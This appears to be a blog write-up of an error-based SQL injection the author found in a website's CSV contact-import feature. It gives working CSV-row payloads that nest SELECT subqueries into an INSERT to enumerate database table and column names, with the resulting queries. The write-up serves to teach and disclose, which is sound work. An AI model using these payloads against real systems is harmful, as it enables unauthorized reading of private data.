What is SQL Injection?
SQL Injection is a vulnerability that occurs when user input is directly used to build a query statement, which is then executed against the application’s database. By taking user input without proper validation and sanitization and dynamically building SQL queries, an attacker can insert carefully crafted input—often referred to as a payload—to exploit and execute malicious queries. These queries can allow the attacker to read, write, delete, or modify data in the database.
There are multiple types of SQL injection. For more detailed information about this vulnerability, I recommend checking out PortSwigger Academy or the OWASP guide.
INSERT Statement:
This statement is usually used to insert new row into an SQL table. So for example in a web application if you want to insert a new user into the users table you will execute something like that:
INSERT INTO users(name, mail, phone_number, password) VALUES ('Hassan', 'hassan@gmail.com', '777777', 'pass123')
SQL Injection into INSERT Statement
History:
I was testing a website and found a functionality that allowed me to import contacts from a CSV file. The CSV file consisted of 5 columns, and I could choose the type of separator used in the file. The default separator was a comma (,), but I could also choose a slash (/) or a semicolon (;).
The Vulnerability:
After testing this functionality, I noticed that the contacts imported from the CSV file were saved into the database for the user I was logged in as.
This was done to store the contacts so that the user could use them later—for example, to send messages to these contacts or create groups for bulk SMS sending.
The header of the CSV files is the following:
Name, Family Name, Number, Email, Info
I decided to put a '
in one of the columns, so i created a CSV file with the following row:
hassan, alachek', 7777, hassan@gmail.com, engineer
The result was and i clicked import i got the following SQL error:
dberr: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '7777', 't', 't', 'Axxxxxx')' at line 1
INSERT INTO addressbook (`name`, `family_name`, `phone`, `email`, `info`, `userid`) VALUES('t', 't'', '7777', 't', 't', 'Axxxxxx')
So this is an error based SQLI. I decided to exploit it manually by crafting each time a new CSV file and import it to the web application.
Reading All Table Names:
test;test;test;test',(SELECT GROUP_CONCAT(table_name SEPARATOR '/ ') FROM information_schema.tables WHERE table_schema != "mysql" AND table_schema != "information_schema"),'Axxxxxx')#;test
The resulting SQL query:
INSERT INTO addressbook (`name`, `family_name`, `phone`, `email`, `info`, `userid`) VALUES ('test', 'test', 'test', 'test', (SELECT GROUP_CONCAT(table_name SEPARATOR '/ ') FROM information_schema.tables WHERE table_schema != "mysql" AND table_schema != "information_schema"), 'Axxxxxx')
Reading All Column Names:
test;test;test;test',(SELECT GROUP_CONCAT(column_name SEPARATOR '/ ') FROM information_schema.columns WHERE table_schema != "mysql" AND table_schema != "information_schema" AND table_name="history_detailed"),'Axxxxxx')#;test
The resulting SQL query:
INSERT INTO addressbook (`name`, `family_name`, `phone`, `email`, `info`, `userid`) VALUES ('test', 'test', 'test', 'test', (SELECT GROUP_CONCAT(column_name SEPARATOR '/ ') FROM information_schema.columns WHERE table_schema != "mysql" AND table_schema != "information_schema" AND table_name="history_detailed"), 'Axxxxxx')
Using a nested query allows you to execute the inner query and then replace its result into the VALUES
clause of the INSERT
query.
Below is an illustration of the execution flow: